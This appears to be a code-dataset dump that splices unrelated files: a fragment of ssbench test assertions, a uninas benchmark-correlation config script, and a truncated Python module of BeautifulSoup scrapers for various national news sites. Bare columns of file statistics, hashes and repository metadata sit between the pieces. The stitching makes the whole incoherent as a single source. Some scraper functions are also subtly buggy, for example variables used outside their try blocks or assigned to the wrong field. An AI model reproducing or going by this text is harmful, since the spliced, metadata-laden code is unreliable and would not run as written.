ssbench.UPDATE_OBJECT, 'size_str': 'obtuse', 'size': 31, }), None) assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'round', }), { 'type': ssbench.DELETE_OBJECT, 'size_str': 'round', 'container': 'bucket0', 'name': 'obj2', }) assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'round', }), None) assert_equal(self.run_state.fill_in_job({ 'type': ssbench.READ_OBJECT, 'size_str': 'round', }), None) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([]), 'round': deque([]), })
33.776271
72
0.488458
948
9,964
4.852321
0.111814
0.045217
0.065217
0.078261
0.857174
0.822609
0.811739
0.748913
0.739348
0.684565
0
0.022814
0.366519
9,964
294
73
33.891156
0.705957
0.042152
0
0.827715
0
0
0.158099
0
0
0
0
0
0.086142
1
0.044944
false
0
0.014981
0
0.06367
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f8a93139cd0a36f797175d3bcefc8bd2e149d2d7
3,504
py
Python
experiments/examples/example_bench_correlate.py
cogsys-tuebingen/uninas
06729b9cf517ec416fb798ae387c5bd9c3a278ac
[ "MIT" ]
18
2020-11-22T16:03:08.000Z
2022-03-15T12:11:46.000Z
experiments/examples/example_bench_correlate.py
cogsys-tuebingen/uninas
06729b9cf517ec416fb798ae387c5bd9c3a278ac
[ "MIT" ]
2
2022-01-04T08:10:17.000Z
2022-01-05T08:13:14.000Z
experiments/examples/example_bench_correlate.py
cogsys-tuebingen/uninas
06729b9cf517ec416fb798ae387c5bd9c3a278ac
[ "MIT" ]
6
2021-03-08T07:08:52.000Z
2022-02-24T12:00:43.000Z
from uninas.main import Main changes = { "cls_task": "EvalBenchTask", "{cls_task}.save_dir": "{path_tmp}/bench_correlate/", "{cls_task}.save_del_old": True, "{cls_task}.is_test_run": True, "{cls_task}.measure_correlations": "'KendallTauNasMetric, PearsonNasMetric, SpearmanNasMetric'", # SIN s3 "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark", "{cls_benchmarks#0}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only1.pt", "{cls_benchmarks#0}.default_result_type": "test", "{cls_benchmarks#0}.tmp_name": "(1)", "{cls_benchmarks#1}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only1.pt", "{cls_benchmarks#1}.default_result_type": "train", "{cls_benchmarks#1}.tmp_name": "(1)", "{cls_benchmarks#2}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only2.pt", "{cls_benchmarks#2}.default_result_type": "test", "{cls_benchmarks#2}.tmp_name": "(2)", "{cls_benchmarks#3}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only2.pt", "{cls_benchmarks#3}.default_result_type": "train", "{cls_benchmarks#3}.tmp_name": "(2)", "{cls_benchmarks#4}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt", "{cls_benchmarks#4}.default_result_type": "test", "{cls_benchmarks#4}.tmp_name": "(1+2)", "{cls_benchmarks#5}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt", "{cls_benchmarks#5}.default_result_type": "train", "{cls_benchmarks#5}.tmp_name": "(1+2)", # SIN s3/s1, fully retrained 50 and one s1 network that evaluated 50+200 # "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark", # "{cls_benchmarks#0}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt", # "{cls_benchmarks#0}.default_result_type": "test", # "{cls_benchmarks#0}.tmp_name": "(1)", # "{cls_benchmarks#1}.path": "{path_data}/bench/sin/SIN_fairnas_eval250_382342.pt", # "{cls_benchmarks#1}.default_result_type": "test", # "{cls_benchmarks#1}.tmp_name": "(1)", # nats vs nats # "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark", # "{cls_benchmarks#0}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt", # "{cls_benchmarks#0}.default_result_type": "train", # "{cls_benchmarks#0}.tmp_name": "NATS", # "{cls_benchmarks#1}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt", # "{cls_benchmarks#1}.default_result_type": "valid", # "{cls_benchmarks#1}.tmp_name": "NATS", # "{cls_benchmarks#2}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt", # "{cls_benchmarks#2}.default_result_type": "test", # "{cls_benchmarks#2}.tmp_name": "NATS", # nats vs s3 runs # "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark", # "{cls_benchmarks#0}.path": "{path_data}/bench/sin/bench201_n5c16_1.pt", # "{cls_benchmarks#0}.default_result_type": "train", # "{cls_benchmarks#0}.tmp_name": "(1)", # "{cls_benchmarks#1}.path": "{path_data}/bench/sin/bench201_n5c16_1.pt", # "{cls_benchmarks#1}.default_result_type": "test", # "{cls_benchmarks#1}.tmp_name": "(1)", # "{cls_benchmarks#2}.path": "{path_data}/bench/bench/sin.1_mini.pt", # "{cls_benchmarks#2}.default_result_type": "test", # "{cls_benchmarks#2}.tmp_name": "NATS", } if __name__ == "__main__": task = Main.new_task([], args_changes=changes) task.run()
50.057143
173
0.688927
463
3,504
4.868251
0.146868
0.265306
0.074534
0.10559
0.814996
0.750222
0.701863
0.673469
0.673469
0.673469
0
0.036953
0.119578
3,504
69
174
50.782609
0.693679
0.470034
0
0
0
0
0.676291
0.591338
0
0
0
0
0
1
0
false
0
0.033333
0
0.033333
0
0
0
0
null
1
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3e5ffca235be544e67b93aca05b4b77a5fdff852
81,431
py
Python
newsplease/pipeline/custom_parser.py
ssdorsey/news-please
e1fd83eb5bea9a3b5fc15b04a17660af150503e5
[ "Apache-2.0" ]
null
null
null
newsplease/pipeline/custom_parser.py
ssdorsey/news-please
e1fd83eb5bea9a3b5fc15b04a17660af150503e5
[ "Apache-2.0" ]
null
null
null
newsplease/pipeline/custom_parser.py
ssdorsey/news-please
e1fd83eb5bea9a3b5fc15b04a17660af150503e5
[ "Apache-2.0" ]
null
null
null
#%% from pymongo import MongoClient import re import bs4 from bs4 import BeautifulSoup from newspaper import Article from dateparser.search import search_dates import dateparser import requests from urllib.parse import quote_plus import os # %% def kohajonecom_story(soup): """ Function to pull the information we want from Kohajone.com stories :param soup: BeautifulSoup object, ready to parse """ # create a dictionary to hold everything in hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"content-inner"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"jeg_meta_date"}) date = article_date.find('a').text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def panoramacomal_story(soup): """ Function to pull the information we want from Panorama.al stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"td-post-content td-pb-padding-side"}) except: article_body = None maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) return hold_dict #%% def gazetashqiptareal_story(soup): """ Function to pull the information we want from Gazetashqiptare.al stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"content_right"}) unwanted = article_body.find('div', attrs={"class": "comment_section block_section"}) if unwanted: unwanted.extract() maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('span', attrs={"class":"news_item__date"}) date = article_date.text.split("-")[1].strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: hold_dict['title'] = soup.find('h1', attrs={"class": "single_article__title"}).text except: hold_dict['title'] = '' return hold_dict #%% def gazetaditaal_story(soup): """ Function to pull the information we want from Gazetadita.al stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"shortcode-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('span', attrs={"class":"meta"}) date = article_date.text.strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1') except: article_title = None hold_dict['title'] = article_title.text return hold_dict #%% def gazetatemanet_story(soup): """ Function to pull the information we want from Gazetatema.net stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"entry-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None return hold_dict #%% def telegrafal_story(soup): """ Function to pull the information we want from Telegraf.al stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"td-post-content"}) maintext = [para.text for para in article_body.find_all('div')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time') date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1') except: article_title = None hold_dict['title'] = article_title.text return hold_dict #%% def beninwebtvcom_story(soup): """ Function to pull the information we want from Beninwebtv stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class":"entry-content clearfix single-post-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time', attrs={"class":"post-published updated"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "single-post-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict # %% def newsacotonoucom_story(soup): """ Function to pull the information we want from News.Acotonou stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('span', attrs={"class": "FullArticleTexte"}) hold_dict['maintext'] = article_body.text.strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "FontArticleSource"}).text.split("|")[0].split(" ")[2:] date = " ".join(article_date) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "FontArticleMainTitle"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict # %% def lanationbenininfo_story(soup): """ Function to pull the information we want from Lanationbenin.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time') date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1') hold_dict['title'] = article_title.text except: article_title = None return hold_dict # %% def lanouvelletribuneinfo_story(soup): """ Function to pull the information we want from Lanouvelletribune.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "content-inner"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #title try: article_title = soup.find('h1', attrs={"class": "jeg_post_title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict # %% def capitalethiopiacom_story(soup): """ Function to pull the information we want from Capitalethiopia.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "td-post-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time') date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% #This function is not working properly... def ethiopianreportercom_story(soup): """ Function to pull the information we want from Ethiopianreporter.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('span',attrs={"class": "post-created"}) print(article_date) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def ambebige_story(soup): """ Function to pull the information we want from Ambebi.ge stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article_content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None return hold_dict #%% def georgiatodayge_story(soup): """ Function to pull the information we want from Georgiatoday.ge stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "news-data"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "news-data"}) date = article_date.div.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def kvirispalitrage_story(soup): """ Function to pull the information we want from Kvirispalitra.ge stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-content"}) maintext = [para.text.strip() for para in article_body.find_all('div')] maintext = maintext[1:] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "create_date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def theeastafricancoke_story(soup): """ Function to pull the information we want from Theeastafrican.co.ke stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('section', attrs={"class": "body-copy"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #title try: article_title = soup.find('article', attrs={"class":"main column"}) hold_dict['title'] = article_title.h2.text except: article_title = None #date try: article_date = soup.find('header') date = article_date.h6.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def nationcoke_story(soup): """ Function to pull the information we want from Nation.co.ke stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('section', attrs={"class": "body-copy"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None return hold_dict #%% def standardmediacoke_story(soup): """ Function to pull the information we want from Standardmedia.co.ke stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "content"}) maintext = article_body.text.strip() hold_dict['maintext'] = maintext except: article_body = None try: article_date = soup.find('div', attrs={"class": "icon-bar"}) content = article_date.find('p') unwanted = content.find('span') if unwanted: unwanted.extract() date = " ".join(content.text.strip().split(" ")[:3]) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def businesstodaycoke_story(soup): """ Function to pull the information we want from Businesstoday.co.ke stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"data-role": "article_content"}) maintext = [para.text for para in article_body.find_all('p')] maintext.pop() hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "entry-date published"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('span', attrs={"class":"entry-title-primary"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def thestarcoke_story(soup): """ Function to pull the information we want from The-star.co.ke stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "text"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "article-published"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def extraec_story(soup): """ Function to pull the information we want from Extra.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find_all('p', attrs={"class": "paragraph"}) maintext = [para.text for para in article_body] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def eluniversocom_story(soup): """ Function to pull the information we want from Eluniverso.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "content", "class": "column"}) body = article_body.find('div', attrs={"class": "field-name-body"}) maintext = [para.text for para in body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"id": "content", "class": "column"}) date = article_date.find('span', attrs={"class": "field-content"}).text.split("-")[0] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def elcomerciocom_story(soup): """ Function to pull the information we want from Elcomercio.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "paragraphs"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict # %% def eltelegrafocom_story(soup): """ Function to pull the information we want from Eltelegrafo.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content clearfix"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "entry-meta-date updated"}) date = article_date.a.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def lahoracomec_story(soup): """ Function to pull the information we want from Lahora.com.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "row contentArticulo"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "headerArticulo"}) date = article_date.h3.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "headerArticulo"}) hold_dict['title'] = article_title.h1.text except: article_title = None return hold_dict # %% def expresoec_story(soup): """ Function to pull the information we want from Expreso.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "content-modules-container"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def diarioqueec_story(soup): """ Function to pull the information we want from Diarioque.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "small-12 columns content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None return hold_dict #%% def eltiempocom_story(soup): """ Function to pull the information we want from Eltiempo.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: maintext = [para.text for para in soup.find_all('p', attrs={"class": "contenido"})] hold_dict['maintext'] = '\n '.join(maintext) except: maintext = None #date try: article_date = soup.find('span', attrs={"class": "fecha"}) date = article_date.text.split(",")[0] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def lagacetacomec_story(soup): """ Function to pull the information we want from Lagaceta.com.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "td-post-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "entry-date updated td-module-date"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class":"entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def elnorteec_story(soup): """ Function to pull the information we want from Elnorte.ec stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext) except: article_body = None return hold_dict #%% def gazetaexpresscom_story(soup): """ Function to pull the information we want from Gazetaexpress.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "single__content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def kosovapresscom_story(soup): """ Function to pull the information we want from Kosovapress.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "main-content"}) maintext = [para.text for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "article_title"}) date = article_date.p.text.split("|")[1].strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "article_title"}) hold_dict['title'] = article_title.h2.text except: article_title = None return hold_dict #%% def kohanet_story(soup): """ Function to pull the information we want from Koha.net stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "news-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] maintext.pop() hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time') date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1') hold_dict['title'] = article_title.text.strip(u'\u200b') except: article_title = None return hold_dict #%% def botasotinfo_story(soup): """ Function to pull the information we want from Botasot.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "paragraph-holder"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"img-auth"}) date = article_date.span.text date = " ".join(date[date.find("Më"):].split(" ")[1:4]) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1') hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def malijetcom_story(soup): """ Function to pull the information we want from Malijet.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "article_body"}) maintext = [para.text.strip() for para in article_body.find_all('p')][:-1] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "story_date"}) date = article_date.text.split(":")[1].strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class":"page_title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def lecalameinfo_story(soup): """ Function to pull the information we want from Lecalame.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date= None #title try: article_title = soup.find('div', attrs={"id":"title"}) hold_dict['title'] = article_title.h2.text except: article_title = None return hold_dict #%% def alwiaminfo_story(soup): """ Function to pull the information we want from Alwiam.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "date"}) date = article_date.text.split(",")[1].strip() hold_dict['date_publish'] = dateparser.parse(date, settings={'DATE_ORDER': 'DMY'}) except: article_title = None #title try: article_title = soup.find('div', attrs={"id":"title"}) hold_dict['title'] = article_title.h1.text except: article_title = None return hold_dict #%% def frzahraamr_story(soup): """ Function to pull the information we want from Fr.zahraa.mr stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #title try: article_title = soup.find('h1', attrs={"class":"title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def lematinma_story(soup): """ Function to pull the information we want from Lematin.ma stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"itemprop": "articleBody"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time') date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"id":"title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def almaghribiama_story(soup): """ Function to pull the information we want from Almaghribia.ma stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "time"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class":"sec-info"}) hold_dict['title'] = article_title.h1.text except: article_title = None return hold_dict #%% #this method returns different format output instead of Arabic def marocpresscom_story(soup): """ Function to pull the information we want from Marocpress.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "post_content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #title try: article_title = soup.find('h3') hold_dict['title'] = article_title.a['title'] except: article_title = None return hold_dict #%% def alakhbarpressma_story(soup): """ Function to pull the information we want from Alakhbar.press.ma stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class":"date meta-item fa-before"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "post-title entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% #returns different format output def assabahma_story(soup): """ Function to pull the information we want from Assabah.ma stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class":"date meta-item fa-before"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "post-title entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def leconomistecom_story(soup): """ Function to pull the information we want from Leconomiste.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = [para.text.strip() for para in soup.find_all('p', attrs={"class": "rtejustify"})] hold_dict['maintext'] = '\n '.join(article_body).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"author"}) date = article_date.text.split("|")[1].strip().split(" ")[-1] hold_dict['date_publish'] = dateparser.parse(date, date_formats=['%d/%m/%Y']) except: article_date = None #title try: article_title = soup.find('div', attrs={"id": "content_leconomiste"}) hold_dict['title'] = article_title.h1.text.strip() except: article_title = None return hold_dict #%% def aminiyadailytrustcomng_story(soup): """ Function to pull the information we want from Aminiya.dailytrust.com.ng stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('article', attrs={"class": "article_content__2HqGP"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"article_headline__yVgYO"}) date = article_date.find('div', attrs={"class":"article_date__33NGW"}) date = date.div.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def businessnewscomng_story(soup): """ Function to pull the information we want from Businessnews.com.ng stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "content-area"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"id":"post-info"}) date = article_date.text[article_date.text.find("on")+2:].strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "headline"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def sunnewsonlinecom_story(soup): """ Function to pull the information we want from Sunnewsonline.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "content-inner"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"jeg_meta_date"}) date = article_date.text.replace("th","").strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "jeg_post_title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def guardianng_story(soup): """ Function to pull the information we want from Guardian.ng stories 